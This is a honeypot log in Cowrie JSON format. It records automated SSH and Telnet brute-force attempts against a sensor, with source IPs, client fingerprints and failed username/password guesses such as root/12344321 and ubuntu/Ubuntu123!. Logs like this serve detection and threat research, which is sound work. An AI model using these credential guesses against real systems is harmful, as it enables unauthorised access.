{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":24706,"dst_ip":"10.17.0.5","dst_port":22,"session":"7192f8e0a5db","protocol":"ssh","message":"New connection: 45.153.34.195:24706 (10.17.0.5:22) [session: 7192f8e0a5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:07.514452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:07.527945Z","src_ip":"45.153.34.195","session":"7192f8e0a5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:07.592416Z","src_ip":"91.92.40.36","session":"075f7d677df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:07.626714Z","src_ip":"45.153.34.195","session":"7192f8e0a5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321","message":"login attempt [root/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:08.248706Z","src_ip":"45.153.34.195","session":"7192f8e0a5db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:09.151263Z","src_ip":"91.92.40.36","session":"075f7d677df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:09.475964Z","src_ip":"45.153.34.195","session":"7192f8e0a5db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":24720,"dst_ip":"10.17.0.5","dst_port":22,"session":"da2418e5b57f","protocol":"ssh","message":"New connection: 45.153.34.195:24720 (10.17.0.5:22) [session: da2418e5b57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:10.567752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:10.572120Z","src_ip":"45.153.34.195","session":"da2418e5b57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:10.660985Z","src_ip":"45.153.34.195","session":"da2418e5b57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:11.072293Z","src_ip":"45.153.34.195","session":"da2418e5b57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46118,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c80cc4532b","protocol":"telnet","message":"New connection: 128.199.8.54:46118 (159.203.135.109:23) [session: 50c80cc4532b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:12.037442Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:12.276578Z","src_ip":"45.153.34.195","session":"da2418e5b57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37490,"dst_ip":"10.17.0.5","dst_port":22,"session":"737e3ed4deee","protocol":"ssh","message":"New connection: 45.153.34.195:37490 (10.17.0.5:22) [session: 737e3ed4deee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:13.542866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:13.679765Z","src_ip":"45.153.34.195","session":"737e3ed4deee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:13.682903Z","src_ip":"45.153.34.195","session":"737e3ed4deee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:14.177456Z","src_ip":"45.153.34.195","session":"737e3ed4deee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:15.305973Z","src_ip":"45.153.34.195","session":"737e3ed4deee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39534,"dst_ip":"10.17.0.5","dst_port":22,"session":"38195010dec2","protocol":"ssh","message":"New connection: 91.92.40.36:39534 (10.17.0.5:22) [session: 38195010dec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:15.820253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:16.324440Z","src_ip":"91.92.40.36","session":"38195010dec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37492,"dst_ip":"10.17.0.5","dst_port":22,"session":"e13aa89bbfaf","protocol":"ssh","message":"New connection: 45.153.34.195:37492 (10.17.0.5:22) [session: e13aa89bbfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:16.450612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:16.455221Z","src_ip":"45.153.34.195","session":"e13aa89bbfaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:16.752219Z","src_ip":"45.153.34.195","session":"e13aa89bbfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"leo","message":"login attempt [leo/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:17.219920Z","src_ip":"45.153.34.195","session":"e13aa89bbfaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:17.234028Z","src_ip":"91.92.40.36","session":"38195010dec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:18.385610Z","src_ip":"45.153.34.195","session":"e13aa89bbfaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37504,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8bd261eb99","protocol":"ssh","message":"New connection: 45.153.34.195:37504 (10.17.0.5:22) [session: 4b8bd261eb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:19.389241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:19.393209Z","src_ip":"45.153.34.195","session":"4b8bd261eb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:19.480325Z","src_ip":"45.153.34.195","session":"4b8bd261eb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55622,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b49ed705fb","protocol":"telnet","message":"New connection: 172.81.62.90:55622 (159.203.135.109:23) [session: 46b49ed705fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:19.601275Z"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":58366,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ee093e70d38","protocol":"ssh","message":"New connection: 97.74.87.152:58366 (159.203.135.109:22) [session: 2ee093e70d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:19.933279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:19.937260Z","src_ip":"97.74.87.152","session":"2ee093e70d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:20.010988Z","src_ip":"45.153.34.195","session":"4b8bd261eb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:20.166070Z","src_ip":"97.74.87.152","session":"2ee093e70d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:21.094239Z","src_ip":"45.153.34.195","session":"4b8bd261eb99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12341234","message":"login attempt [deploy/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:21.115960Z","src_ip":"97.74.87.152","session":"2ee093e70d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47454,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a4fea48276b","protocol":"ssh","message":"New connection: 45.153.34.195:47454 (10.17.0.5:22) [session: 1a4fea48276b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.333169Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.347798Z","src_ip":"97.74.87.152","session":"2ee093e70d38","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.364803Z","src_ip":"45.153.34.195","session":"1a4fea48276b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.444338Z","src_ip":"45.153.34.195","session":"1a4fea48276b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14236,"dst_ip":"10.17.0.5","dst_port":22,"session":"970510c325a9","protocol":"ssh","message":"New connection: 91.92.40.36:14236 (10.17.0.5:22) [session: 970510c325a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.548944Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55040,"dst_ip":"159.203.135.109","dst_port":23,"session":"279748ede775","protocol":"telnet","message":"New connection: 128.199.8.54:55040 (159.203.135.109:23) [session: 279748ede775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.894957Z"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.957404Z","src_ip":"45.153.34.195","session":"1a4fea48276b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:22.993217Z","src_ip":"91.92.40.36","session":"970510c325a9","protocol":"ssh"}
